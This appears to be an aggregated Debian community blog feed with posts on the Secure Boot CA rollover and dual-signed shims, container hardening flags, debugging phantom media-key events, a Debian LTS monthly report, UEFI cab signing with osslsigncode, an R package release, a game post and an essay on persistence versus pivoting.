Normale weergave

Steve McIntyre: Secure Boot and Microsoft CA Rollover - a heads-up for distributions

22 Mei 2026 om 01:43

Background

I'm a member of the EFI team in Debian, and I've done much of the work for Debian to support UEFI Secure Boot (SB) in recent years. We have included that support for a number of releases now, starting back with Debian 10 (aka Buster).

I'm also a long-time accredited member of the shim-review team, the group that checks and approves shim binaries before Microsoft will sign them.

See the Debian wiki for lots of background details about Secure Boot and how we do things in Debian.

Secure Boot depends on signatures, which are verified during boot using a chain of X.509 certificates. The root certificate(s) in the chain are embedded in computer firmware, then later software such as shim can add more certificates to extend the trust. Easy, right?

The problem - certificates expire...

Microsoft administer the most widespread Secure Boot root certificates, and have been doing so since the very beginning of UEFI Secure Boot as a concept. The Microsoft UEFI CA certificates are included in just about every x86 and x86-64 computer shipped, and also in quite a lot of arm64 machines too.

(The fact that Microsoft is therefore a gatekeeper for Linux running under Secure Boot on most machines is very unpopular in some quarters, but this is just a fact of life in the world we live in. None of the following will affect you if you're using Secure Boot with your own keys only.)

The current certificates have been around since 2011:

1. Windows Production PCA 2011 (used for signing Windows components)

  Subject: C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011
  Validity
    Not Before: Oct 19 18:41:42 2011 GMT
    Not After : Oct 19 18:51:42 2026 GMT

This expires in October this year, ~5 months from now.

2. Third Party Marketplace Root (used for signing option ROMs and other software)

  Subject: C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011
  Validity
    Not Before: Jun 27 21:22:45 2011 GMT
    Not After : Jun 27 21:32:45 2026 GMT

For Linux folks, this second certificate is more interesting - it is the root of the certificate chain that Microsoft use when signing shim for Linux distributions

This CA expires 5 weeks from today.

OMG!!! Will all my existing Secure Boot machines stop booting?

Almost definitely not, no.

The specification for UEFI Secure Boot expects that valid dates on certificates should not be enforced for signatures here. All that matters here is the signatures themselves. Modulo buggy firmware, existing signed binaries should continue just fine.

New CAs to be aware of

Microsoft have published three new CAs:

1. A new CA used for signing device option ROMs

  Subject: C=US, O=Microsoft Corporation, CN=Microsoft Option ROM UEFI CA 2023
  Validity
    Not Before: Oct 26 19:02:20 2023 GMT
    Not After : Oct 26 19:12:20 2038 GMT

2. A new CA used for signing Windows components

  Subject: C=US, O=Microsoft Corporation, CN=Windows UEFI CA 2023
  Validity
    Not Before: Jun 13 18:58:29 2023 GMT
    Not After : Jun 13 19:08:29 2035 GMT

3. A new CA used for signing other software (e.g. shim)

  Subject: C=US, O=Microsoft Corporation, CN=Microsoft UEFI CA 2023
  Validity
    Not Before: Jun 13 19:21:47 2023 GMT
    Not After : Jun 13 19:31:47 2038 GMT

New machines and updated older machines will most likely have all of these new CAs installed. New machines are already shipping that only include the new CAs; they will not trust older software and this has already started causing problems for some users.

Isn't this is all a bit short notice?

Yes it is. :-(

A common rule of thumb when deploying CA certificates is to start the process of replacement ("rollover") when a certificate reaches half of its lifetime. Unfortunately, Microsoft have done this very late. They generated new keys in 2023, but didn't start signing shim and other third-party software with the UEFI CA until October 2025.

If I'm a distro developer, what should I do?

If you already have an old shim signed by Microsoft for your distribution from before October 2025, then it will only be signed using the older CA that expires soon. On newer machines, your users will already not be able to boot your distro with Secure Boot enabled.

If you want your users to be able to use Secure Boot in future, you will need to get a new shim build submitted, reviewed and signed using the new CA. However, that signed build will not work on older machines unless they have had the new CAs installed. This is also likely to cause problems for some users. You should encourage your users to update their systems NOW before things break for them.

There is an interim solution which will work, but only if you're quick! Microsoft are currently returning shim binaries signed using both the old CA and the new CA. More specifically, for every binary that is submitted they will return two: one signed with each CA. If you use these directly, you'll need to plan to publish:

  • 2 signed shim binaries
  • 2 installers
  • 2 sets of live/installer images
  • etc.

and explain to your users how they'll need to pick one. Good luck with that!

However, it is possible to extract signatures from those signed shim binaries and attach them all onto one shim, giving you the Holy Grail here - a single shim that will boot on the vast majority of machines. Indeed, this is what I'm planning on doing in Debian. So-called "dual-signed" shims may provoke issues with buggy firmware, so be aware that you may have to deal with this too. But take heart: early testing by various distro folks with a dual-signed Fedora shim did not show any problems.

You have 5 weeks and counting...

Microsoft have promised to continue signing with the old CA as long as possible, right up to the last day. They understand how awkward things are going to be otherwise, and are trying to help here as much as possible.

In the shim-review team, we have been expecting to see a surge of shim submissions before the old CA expires, to make the most of the "Holy Grail" dual-signed shims described above. But we've been really surprised that this has not been happening.

So, this blog is a wake-up call for people doing Secure Boot with shim. Even if you're not going to be ready to ship a new shim binary to your users, you should really try to get a new build prepared and signed NOW so that you have it available to tide you over through the coming CA transition. Don't leave it too late.

If you're not sure what to do, ask me and the other shim-review folks. We're happy to give advice. But don't delay.

You have 5 weeks and counting.

How to make a dual-signed shim binary

Microsoft only ship binaries with a single signature included. To make things work, extract those signatures using sbattach --detach (from the sbsigntools source package, available in most distributions. Then apply those signatures one at a time to your shim binary, using sbattach --attach. Simple, really. There's one strong recommendation here: order the signatures on your shim oldest first - that way, old buggy firmware implementations that potentially don't look for more than one signature will find the old signature first.

pesign can also handle moving signatures around, but I chose sbsigntools when doing this work myself.

If you're looking to see how others handle multiple signed shim binaries, feel free to look at the Debian shim-signed package for examples. The repo is https://salsa.debian.org/efi-team/shim-signed.git.

References

I'll add more links here in the coming weeks.

  •  

Dirk Eddelbuettel: nanotime 0.3.15 on CRAN: Coping

21 Mei 2026 om 15:57

Another very minor update, now at 0.3.15, for our nanotime package is now on CRAN, and has been built for r2u and Debian. nanotime relies on the RcppCCTZ package (as well as the RcppDate package for additional C++ operations) and offers efficient high(er) resolution time parsing and formatting up to nanosecond resolution, using the bit64 package for the actual integer64 arithmetic. Initially implemented using the S3 system, it has benefitted greatly from a rigorous refactoring by Leonardo who not only rejigged nanotime internals in S4 but also added new S4 types for periods, intervals and durations.

This release adjusts the package for the maybe overly hasty switch R 4.6.0 has undertaken with respect to using C++20 as a default C++ compilation standard. I am of course largely in favour of such a switch to more modern C++. But I am also cognizant of the fact that not all compilers and machines are ready. And just as I have already seen one other package fail to compile on a particular CRAN system (!!) under C++20, this package all of a sudden, and only on that same system, started to throw two (harmless) compiler warnings. We could call these erroneous as newer versions of the same compiler do not throw them but it does not matter. The decision to default to C++20 has been made, and now we live with it. But maybe some hardware platforms should be moved behind the barn. Either way, this release both adds an explicit cast to two lines that may not really need it (but this will not hurt) and also dials the compilation standard down to C++17 on one particular platform. So once again there are no user-facing changes, or behavioural changes or enhancements, in this release.

The NEWS snippet below has the fuller details.

Changes in version 0.3.15 (2026-05-21)

  • Add extra const_cast as one CRAN machine with more ancient setup whines otherwise and is obviously less C++20 ready than it thinks

  • tools/configure also checks where this is being built and ’as needed' downgrades the compilation to C++17

Thanks to my CRANberries, there is a diffstat report for this release. More details and examples are at the nanotime page; code, issue tickets etc at the GitHub repository – and all documentation is provided at the nanotime documentation site.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can now sponsor me at GitHub. You can also sponsor my Tour de Shore 2026 ride in support of the Maywood Fine Arts Center.

  •  

Tianon Gravi: Containers Are a Security Boundary (some assembly required)

I've heard "containers are not a security boundary" enough times that it's started to feel like received wisdom, and my honest read (after 13+ years) is that it's technically defensible but practically sloppy – and the sloppiness matters.

The part that's true: containers share a kernel, and a kernel exploit crosses the container boundary where a VM would not. That difference is real and non-trivial, and the CVE history backs it up – CVE-2019-5736, CVE-2022-0492, and CVE-2024-21626 all happened in "correctly configured" production containers.

The part I'd push back on is that the comparison point is almost never stated. "Containers aren't a security boundary" is being used as shorthand for "containers aren't a VM boundary" – but the conclusion people seem to draw from that is "therefore don't bother", which doesn't actually follow. The more honest version is that default Docker doesn't provide strong isolation between mutually untrusting parties, but a hardened configuration does.

What ships by default in Moby is actually a pretty reasonable foundation: seccomp is enabled (with a builtin profile blocking ~50 syscalls – credit where it's due: this is mostly @jessfraz's work; she even ran contained.af as a public CTF for years daring people to escape a container under her seccomp profile, and to my knowledge it was never claimed), AppArmor is enabled (the docker-default profile), and several sensitive /proc paths are masked. What's not on by default: no-new-privileges (setuid binaries inside can escalate), CAP_NET_RAW is still granted to every container (even though the kernel has supported unprivileged ICMP sockets for over a decade, meaning most modern distributions no longer need CAP_NET_RAW for ping), and user namespace remapping – though user namespaces aren't quite the silver bullet they might sound like; Debian left them disabled by default for years because the kernel attack surface they exposed hadn't been hardened against unprivileged callers.

The boundary isn't absent – it doesn't come completely pre-assembled. With VMs, the hypervisor is there whether you asked for it or not; with containers, assembling the boundary is left as an exercise for the operator. That's a much more solvable problem than "the technology is incapable", but it does mean the work falls to whoever's running the containers.

So, some things you can do today without waiting for defaults to change:

--user (or USER in your Dockerfile) is worth calling out specifically, because I think it's arguably stronger than user namespace remapping in one important way – and partly for the same reason Debian was hesitant about user namespaces in the first place. User namespace remapping protects the host from a root-in-container escape: if you do escape, you land as an unprivileged user on the host. But you were still root inside the container the whole time. Running as a non-root user means you were never root anywhere. The blast radius of a compromised process is limited whether or not it escapes, including for things like reading secrets, modifying container contents, or lateral movement within the container itself. Most application containers have no legitimate reason to be root.

Beyond that, a short list of things that are easy to enable and hard to justify leaving off:

  • --security-opt no-new-privileges – prevents setuid binaries from escalating; can also be set daemon-wide in daemon.json with "no-new-privileges": true
  • --read-only – a read-only root filesystem means a compromised process can't easily persist tooling or modify the container (pair with a writable tmpfs mount for /tmp etc as needed)
  • --cap-drop NET_RAW – or --cap-drop ALL and add back only what you actually need; CAP_NET_RAW is almost never legitimately needed by application containers
  • never --privileged – if something seems to require it, the right answer is almost always a more targeted capability grant or bind mount, not the nuclear option
docker run \
  --user 1234:5678 \
  --security-opt no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  --cap-drop ALL \
  acme/untrusted-workload:latest

None of these require a daemon restart or infrastructure changes, and stacked together they go a long way toward actually building the boundary that the defaults leave unbuilt.

(this post was written with the assistance of "claude my eyes right out" but all thoughts and understanding are Tianon's)

  •  

Michael Prokop: The mysterious XF86AudioPlay issue

20 Mei 2026 om 19:19

I was getting “<XF86AudioPlay> is undefined” in the status bar of Emacs displayed every 2-3 seconds. Nowhere else I noticed any misbehavior or problems, and also couldn’t find any related log entries. It didn’t stop, though didn’t want to reboot my system to see whether that would fix the problem, but it was driving me nuts.

Now, as a starting point I adjusted my sway configuration, to react to the XF86AudioPlay key press event:

bindsym XF86AudioPlay exec playerctl play-pause

After reloading sway, my music player started to play for 2-3 seconds, stopped playing, started again, etc. It wasn’t a Emacs bug, but something indeed seemed to send the XF86AudioPlay key event every 2-3 seconds. It wasn’t my USB keyboard or any stuck key on it, as verified also by unplugging it. So which device was causing this?

libinput from libinput-tools to the rescue:

% sudo libinput debug-events
[...]
-event12  KEYBOARD_KEY                 +0.000s  KEY_PLAYPAUSE (164) pressed
 event12  KEYBOARD_KEY                 +0.000s  KEY_PLAYPAUSE (164) released
 event12  KEYBOARD_KEY                 +2.887s  KEY_PLAYPAUSE (164) pressed
 event12  KEYBOARD_KEY                 +2.887s  KEY_PLAYPAUSE (164) released
 event12  KEYBOARD_KEY                 +5.773s  KEY_PLAYPAUSE (164) pressed
 event12  KEYBOARD_KEY                 +5.774s  KEY_PLAYPAUSE (164) released
[...]

The `event12` device was sending this event, what’s behind this?

% sudo udevadm info /dev/input/event12
P: /devices/pci0000:00/0000:00:1f.3/skl_hda_dsp_generic/sound/card0/input17/event12
M: event12
R: 12
J: c13:76
U: input
D: c 13:76
N: input/event12
L: 0
S: input/by-path/pci-0000:00:1f.3-platform-skl_hda_dsp_generic-event
E: DEVPATH=/devices/pci0000:00/0000:00:1f.3/skl_hda_dsp_generic/sound/card0/input17/event12
E: DEVNAME=/dev/input/event12
E: MAJOR=13
E: MINOR=76
E: SUBSYSTEM=input
E: USEC_INITIALIZED=12468722
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_INPUT_SWITCH=1
E: ID_PATH=pci-0000:00:1f.3-platform-skl_hda_dsp_generic
E: ID_PATH_TAG=pci-0000_00_1f_3-platform-skl_hda_dsp_generic
E: XKBMODEL=pc105
E: XKBLAYOUT=us
E: XKBOPTIONS=lv3:ralt_switch,compose:rctrl
E: BACKSPACE=guess
E: LIBINPUT_DEVICE_GROUP=0/0/0:ALSA
E: DEVLINKS=/dev/input/by-path/pci-0000:00:1f.3-platform-skl_hda_dsp_generic-event
E: TAGS=:power-switch:
E: CURRENT_TAGS=:power-switch:

% sudo udevadm info -a /dev/input/event12 | grep -iE 'kernels|drivers|name'
    KERNELS=="input17"
    DRIVERS==""
    ATTRS{name}=="sof-hda-dsp Headphone"
    KERNELS=="card0"
    DRIVERS==""
    KERNELS=="skl_hda_dsp_generic"
    DRIVERS=="skl_hda_dsp_generic"
    KERNELS=="0000:00:1f.3"
    DRIVERS=="sof-audio-pci-intel-tgl"
    KERNELS=="pci0000:00"
    DRIVERS==""

Behind this event12 is sof-hda-dsp Headphone, and evtest confirms that:

% sudo evtest
No device specified, trying to scan all of /dev/input/event*
Available devices:
/dev/input/event0:      AT Translated Set 2 keyboard
/dev/input/event1:      Sleep Button
/dev/input/event10:     ThinkPad Extra Buttons
/dev/input/event11:     sof-hda-dsp Mic
/dev/input/event12:     sof-hda-dsp Headphone
/dev/input/event13:     sof-hda-dsp HDMI/DP,pcm=3
/dev/input/event14:     sof-hda-dsp HDMI/DP,pcm=4
/dev/input/event15:     sof-hda-dsp HDMI/DP,pcm=5
/dev/input/event16:     Yubico YubiKey OTP+FIDO+CCID
/dev/input/event17:     Apple Inc. Magic Keyboard with Numeric Keypad
/dev/input/event18:     Apple Inc. Magic Keyboard with Numeric Keypad
[...]
Select the device event number [0-24]: ^C

We can even get further information:

% sudo evtest /dev/input/event12
Input driver version is 1.0.1
Input device ID: bus 0x0 vendor 0x0 product 0x0 version 0x0
Input device name: "sof-hda-dsp Headphone"
Supported events:
  Event type 0 (EV_SYN)
  Event type 1 (EV_KEY)
    Event code 114 (KEY_VOLUMEDOWN)
    Event code 115 (KEY_VOLUMEUP)
    Event code 164 (KEY_PLAYPAUSE)
    Event code 582 (KEY_VOICECOMMAND)
  Event type 5 (EV_SW)
    Event code 2 (SW_HEADPHONE_INSERT) state 0
Properties:
Testing ... (interrupt to exit)
Event: time 1779295060.175766, type 5 (EV_SW), code 2 (SW_HEADPHONE_INSERT), value 1
Event: time 1779295060.175766, -------------- SYN_REPORT ------------
Event: time 1779295061.951168, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295061.951168, -------------- SYN_REPORT ------------
Event: time 1779295061.951194, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295061.951194, -------------- SYN_REPORT ------------
Event: time 1779295064.548671, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295064.548671, -------------- SYN_REPORT ------------
Event: time 1779295064.548689, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295064.548689, -------------- SYN_REPORT ------------
Event: time 1779295067.437172, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295067.437172, -------------- SYN_REPORT ------------
Event: time 1779295067.437187, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295067.437187, -------------- SYN_REPORT ------------
Event: time 1779295070.323775, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295070.323775, -------------- SYN_REPORT ------------
Event: time 1779295070.323790, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295070.323790, -------------- SYN_REPORT ------------
Event: time 1779295073.200350, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295073.200350, -------------- SYN_REPORT ------------
Event: time 1779295073.200373, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295073.200373, -------------- SYN_REPORT ------------
Event: time 1779295076.076228, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295076.076228, -------------- SYN_REPORT ------------
Event: time 1779295076.076250, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295076.076250, -------------- SYN_REPORT ------------
Event: time 1779295078.961740, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295078.961740, -------------- SYN_REPORT ------------
Event: time 1779295078.961754, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295078.961754, -------------- SYN_REPORT ------------
Event: time 1779295081.850156, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295081.850156, -------------- SYN_REPORT ------------
Event: time 1779295081.850175, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295081.850175, -------------- SYN_REPORT ------------
Event: time 1779295083.306612, type 5 (EV_SW), code 2 (SW_HEADPHONE_INSERT), value 0
Event: time 1779295083.306612, -------------- SYN_REPORT ------------

So when I plug in my headphone (see the `SW_HEADPHONE_INSERT` event), the unexpected behavior starts, unplugging stops the problem.
Good! But what was totally unexpected for me: my headphone, being a Beyerdynamic DT-990 Pro, does not have any keys. 8-)

As it turned out, the headphone jack seemed to have been not entirely clean. The analog side of the jack triggers a behavior within the audio codec, where it seems to interpret the fluctuating impedance as a play button of the headset, being pressed, again and again.

I cleaned the jack of my headphone and my XF86AudioPlay problem is gone, case closed.

  •  

Daniel Baumann: Debian: Linux Vulnerability Mitigation (PinTheft)

20 Mei 2026 om 16:27

Following the series of various Linux exploits of the last three weeks, the bug of today is PinTheft [CVE-2026-43494] which is local root privilege escalations.

The vulnerability can be mitigated by unloading and blocking rds modules, linux-vulnerability-mitigation as of 20260519-1 (uploaded to sid, trixie-fastforward-backports and people.debian.org/~daniel) does that automatically for you.

Updates:

  •  

Jonathan Dowland: HMS Blueberry

19 Mei 2026 om 10:15
HMS Blueberry

HMS Blueberry

Royals are my favourite ships in No Man's Sky. The HMS Blueberry is not my first Exotic/Royal ship (that was the Gravity Hirakao XVI, and a story for another time).

After years of on-off playing, I recently found my first Royal multitool: Blue, with gold detailing. I have a Royal-style jetpack (I don't remember where I got that). I thought I'd try and colour-match my multitool, ship, jetpack and outfit. Since I only had one multitool, I matched the others to it. And the HMS Blueberry (credit for the name goes to Beatrice) was the Exotic in my collection which matched.

The HMS Blueberry is in viewable in my showroom, Honest Jon's Lightly-Used Starships.

  •  

Freexian Collaborators: Monthly report about Debian Long Term Support, April 2026 (by Thorsten Alteholz)

11 Mei 2026 om 02:00

The Debian LTS Team, funded by Freexian’s Debian LTS offering, is pleased to report its activities for April.

Activity summary

During the month of April, 21 contributors have been paid to work on Debian LTS (links to individual contributor reports are located below).

The team released 37 DLAs fixing 145 CVEs.

The team continued preparing security updates in its usual rhythm. Beyond the updates targeting Debian 11 (“bullseye”), which is the current release under LTS, the team also proposed updates for more recent releases (Debian 12 (“bookworm”) and Debian 13 (“trixie”)), including Debian unstable. We highlight several notable security updates here below.

  • Andrej Shadura prepared DLA 4525-1 for libyaml-syck-perl to fix a vulnerability related to a memory leak.
  • Andrej also prepared DLA 4551-1 for mbedtls to fix a leak of secrets.
  • Arnaud Rebillout prepared DLA 4532-1 for python3.9 to fix a use-after-free issue in several decompressors.
  • Arnaud also prepared DLA 4533-1 for systemd to fix multiple vulnerabilities, which might be also used to execute arbitrary code.
  • Bastien Roucariès prepared DLA 4529-1 for bind9 to fix a DNSSEC issues, which can cause the resolver to consume excessive CPU.
  • Bastien also prepared DLA 4539-1 for imagemagick to fix 21 vulnerabilities.
  • Emilio Pozuelo Monfort prepared DLA 4535-1 for openssh to fix a potentially execution of arbitrary code.
  • Emilio also Monfort prepared DLA 4526-1, DLA 4546-1 and DLA 4555-1 for firefox-esr to fix 31 vulnerabilities.
  • Jochen Sprickerhof prepared DLA 4524-1 for postgresql-13 to fix multiple vulnerabilities, which might be also used to execute arbitrary code.
  • Sylvain Beucler prepared DLA 4538-1 for perl to fix unauthorized access to data or arbitrary code execution.
  • Thorsten Alteholz prepared DLA 4545-1 for packagekit to fix a local privilege escalation.
  • Thorsten also prepared DLA 4544-1 for ntfs-3g to fix a local privilege escalation.
  • Tobias Frost prepared DLA 4521-1 for libpng1 to fix multiple vulnerabilities, which might be also used to execute arbitrary code.

Contributions from outside the LTS Team:

  • As usual, the thunderbird updates, released as DLA 4534-1 and DLA 4549-1, were prepared by its maintainer Christoph Goehre. This month 28 CVEs has been fixed. Thanks a lot for his continuous contributions. The DLAs have been sent by Emilio.
  • Thanks alot as well to Mathias Behrle for providing DLA 4543-1 for package simpleeval. The DLA has been sent by Santiago.

The LTS Team has also contributed with updates to the latest Debian releases:

  • Andreas Henriksson completed the upload of gvfs for trixie and bookworm
  • Ben Hutchings did uploads of several kernel packages to unstable and the corresponding backports repositories.
  • Sylvain took care of uploads of awstats to trixie and bookworm. He also did the same for 7zip-rar with an upload to bookworm-backports).

Some milestones in the lifecycle of two Debian releases are just around the corner. The support of Debian 12 will be handed over to the LTS team on June 11th 2026. After August 31st, support for Debian 11 will move from Debian LTS to ELTS managed by Freexian.

Individual Debian LTS contributor reports

Thanks to our sponsors

Sponsors that joined recently are in bold.

  •  

Tollef Fog Heen: Signing UEFI submissions using osslsigncode

Back when we started with a signed shim in Debian, the tooling was Windows-only and required me to do a reboot dance and it was all quite tedious. Over time, more and more of the tooling has migrated to Linux and it all works quite well.

The signing is done with an EV code signing cert from SSL.com and stored on a Yubikey. Getting the certificate onto the key is a bit tedious, but reasonably well-explained in the ssl.com docs.

Microsoft wants the shim binaries uploaded to their partner portal wrapped in a .cab file, which should be signed.

The wrapping in a .cab file is easy enough: lcab shim.efi shim-unsigned.cab. It’s fine to put shims for multiple architectures in the same .cab file.

Signing of the file is a little bit of a rune:

osslsigncode sign -pkcs11module /usr/lib/x86_64-linux-gnu/libykcs11.so -key "pkcs11:serial=XXX" -askpass -certs chain.crt -h sha256 -ts http://ts.ssl.com shim-unsigned.cab shim-unsigned.signed.cab

chain.crt contains first our EV code signing cert, then the ssl.com intermediate EV code signing cert, then the ssl.com EV root cert. The naming of the packages is a tiny bit confusing, but it’s because the package name in Debian is shim-unsigned.

Occasionally, processing of uploaded binaries just stops in the validation stage in the portal, but I’ve so far been able to unstuck them by re-signing and uploading again, and I saw the same with the MS/Windows toolchain, so I suspect it’s just flakiness on the portal side.

  •  

Otto Kekäläinen: Balancing persistence vs pivoting – is grit a virtue or wasteful?

17 Mei 2026 om 02:00
Featured image of post Balancing persistence vs pivoting – is grit a virtue or wasteful?

Being persistent, sticking to a plan and showing up to work every day is generally valued highly across all cultures as virtuous behavior. It is obvious that anything of value and worth achieving is also not easy, but requires significant and recurring effort. Learning a new language, winning a sports competition or building a successful business are all typical scenarios where grit plays a central role above everything else. However, sometimes the virtue of tenacity can result in just a waste of energy.

The question is then: how does one recognize that true progress is being blocked by stubbornness and a pivot would be the correct decision, as opposed to being close to breakthrough where doing more of the same would actually be the right choice?

What is persistence actually?

To think clearly about this topic, one must first grasp the concept of “grit” and what it looks like in practice. Research by psychologist Angela Duckworth on “grit” shows that sustained effort in the face of setbacks separates high achievers from those who quit too soon. Entrepreneurs who iterated through dozens of failed prototypes or writers who revised manuscripts for years understand this truth. Persistence builds resilience, deep expertise, and the kind of compounding results that shortcuts cannot deliver. It also protects against the distraction of shiny new ideas that pull focus from what actually works.

Persistence is about:

  1. Believing in an outcome and working towards it despite people around you not sharing the belief, and despite your own work and experiments not being successful.
  2. Continuing to hold the belief and sticking to the decision despite other ideas, solutions and competing alternatives surfacing.
  3. The more time passes, the firmer the conviction becomes. Time, money, and emotional energy invested in a failing direction create psychological pressure to continue (sunk-cost fallacy).

Simply following through on a plan or upholding a contract is not true persistence. Grit is a personal trait one can cultivate to actually become more energized to do something precisely because it turns out to be harder than expected.

Pivoting: a calculated choice

The opposite of being persistent is giving up. Pivoting is not about giving up, but about redirecting the energy and momentum towards a new goal. Pivoting requires coming to the realization that you were wrong, and going through the painful process of discovering a new truth.

Ideas tend to be abundant, and doing something new isn’t hard as such. The hard part is to abandon a previously held belief and adopt a new one with equal conviction. To have that conviction you need to have data and metrics. This is also the key to how to decide between persisting vs pivoting at any moment in time.

Key metrics of success

Any decision is only as good as the information available at the time it was made. To be set up for success one needs to start by deciding on what the actual goal is, what one values and how progress is measured.

Key metrics are usually easiest to discover by working backwards from the goal. If you want to build an electric car, you might decide that the goal is to have a car that costs 30,000 euros and can drive 300 km on one charge. From that goal you can break down what the cost structure should be, what volume of production is needed to break even, what raw materials are needed and what the battery chemistry needs to achieve to meet the goal. That can further be broken down into a rate of progress. Suppose the plan requires battery energy density to reach 150 Wh/kg to be viable. If the state of the art starts at 100 Wh/kg and funding lasts a maximum of five years, the team needs at least an 8% improvement every year (1.08^5 × 100 Wh/kg ≈ 150 Wh/kg). This can then be used as a guideline. Sometimes progress is not steady, but happens in jumps. Even in those cases there should be a trajectory to benchmark the jumps against.

In an online business, the key metric could, for example, be one of these:

  • 7- or 30-day retention rate: Do new users who try the service actually like it?
  • Weekly or monthly active users: Is usage trending up?
  • Feature adoption rate: In an existing service, how many users are using the new feature?
  • Product-Market Fit Score (from Sean Ellis test): Percentage of users who say they would be “very disappointed” if the product disappeared. Above 40% is a strong early indicator. A number below that (after multiple iterations) is a good data point to pivot.
  • Revenue run rate or burn rate: The most generic metric everything eventually boils down to. Healthy markets reward good products.

Weekly metrics are better than monthly, as they make the feedback loop faster and allow you to get validation quickly and do minor course corrections along the way. A complete pivot should, however, be based on long-term data, driven by the key metric and supported by additional data points.

Metrics are also needed because they can’t be bribed or convinced to be anything other than what they are. Listening to other people is good, but just relying on the opinion of others is extremely dangerous because people are biased—either for you or against you—depending on whether they see you as a trusted leader or an outcast.

Key metrics are of course domain-specific and everyone needs to come up with their own. However, you must have some key metric. You can’t have the excuse that what you are doing can’t be measured. If you are part of a larger organization and you need to advocate for a difficult decision—for example, to “kill your darlings” when facing a pivot—you need to have the metrics to back up your views, and those metrics need to have been established way before as something the organization values, and not cherry-picked just for this one decision.

It does not matter if you are on a personal improvement journey, running a political campaign, inventing a new product, or growing a business – you need to have some metric you can check at any given time to see if things are improving fast enough to predict success. Metrics can and should also be used in daily work to validate that you are on the correct path, and to optimize execution.

Famous examples of persistence and pivoting that led to breakthroughs

In all of the cases below it is of course in hindsight easy to say they made the right decision. However, take a minute to try to imagine yourself in their shoes at the time of the decision. What metrics might they have had available to support their decision? What would you have wanted to measure or find out if you were in the same situation?

  • Frustrated that his vacuum lost suction, James Dyson spent five years and built thousands of failed prototypes in a backyard shed. He remortgaged his home, lived on savings, and faced rejection from every major manufacturer who wanted to protect their bag-replacement business. The 5,127th prototype based on an idea from a sawmill with a cyclone finally worked. Launched in 1993, the Dyson DC01 became Britain’s best-selling vacuum within two years.
  • As a single mother on welfare in the mid-1990s, J.K. Rowling finished her manuscript for Harry Potter and the Philosopher’s Stone while battling depression and poverty. She hand-typed copies and mailed them to publishers. Twelve rejected it outright, with comments like “children’s books about magic don’t sell.” She nearly quit multiple times but kept revising and submitting. Bloomsbury finally accepted it after the CEO’s eight-year-old daughter read the first chapter and demanded the rest. The series has since sold hundreds of millions of copies worldwide.
  • Founded in 1997 as a mail-order DVD rental service, Netflix added unlimited subscriptions in 1999 to compete with Blockbuster. By 2007, broadband growth and declining DVD sales signaled a shift. CEO Reed Hastings pivoted aggressively toward streaming, investing in bandwidth deals and original content while de-emphasizing physical media. The move faced skepticism, but eventually changed the whole culture of how entertainment is consumed.
  • YouTube launched in 2005 as a video-dating site. Founders offered money to women who uploaded dating videos, but almost no one did. Meanwhile, users uploaded random clips. The team recognized the mismatch and pivoted within months to a general-purpose video-sharing platform with easy uploading. Google bought it just 18 months later.
  • Instagram began in 2010 as Burbn, a location-based check-in app that let users post plans, earn points, and share photos. Co-founders Kevin Systrom and Mike Krieger quickly noticed users ignored most features and mainly used it for photo-sharing. They made the tough call: scrap everything else. Within weeks, they rebuilt the app around clean, simple photography with filters. The pivot launched as Instagram in October 2010. It gained 1 million users in two months and was acquired by Facebook just 18 months later.

Insanity or conviction?

English has several proverbs that warn against excessive persistence, such as “banging your head against the wall”. Insanity is commonly defined as “Doing the same thing over and over again and expecting different results.”

In Finland, the national identity is practically built on the concept of “sisu”. It means much more than just “grit”. The word is derived from the word for “inside” or “guts” and represents an unexplained, almost superhuman force that makes one stoically take action despite seemingly impossible odds and somehow succeed anyway. It became a defining national mythos during the Winter War (1939–1940), where a force 10 times larger than the Finnish army tried to invade the country but was stopped and Finland just barely managed to keep its independence. The word “sisu” transitioned from a character trait to a pillar of national survival.

I think Finns survived because the more you believe in persistence, the more likely you are to persist. I view persistence as a religion that requires faith, while pivoting is a science where you derive the truth from the numbers.

When in doubt, I would always choose persistence over pivoting. Perhaps it is because of my genetic tendency towards having “sisu”, but I would also rather keep on going a bit more and try one more time before giving up and pivoting in order to get more data, so that when I pivot, I know it is absolutely the right thing to do at that point.

Depending on the situation, the costs of postponing the pivot vary. Of course, if the main metric is the burn rate and a company is running out of money, a pivot must be done early enough that the remaining runway is enough to execute the pivot, and then some more.

In some situations a business idea might simply be ahead of its time. If that is the conviction and the key metrics support it, the best way to navigate the situation is to cut down on costs and wait for competitors to appear, help build general awareness, and then ramp up again to ride the wave. Remember that success does not come from grit alone – there is always an element of timing and luck as well. But if you are not persistent and stop showing up every day, you won’t be able to seize the opportunities if and when they arise.

Failure is the likely outcome – you have to avoid it at any cost

One must also realize that most attempts end in failure. Failure is the baseline, and success is the exception. To reach a breakthrough, one must be stubbornly persistent. In particular, if you are a leader, you need to be so high in conviction that it almost becomes an aura that radiates to those around you.

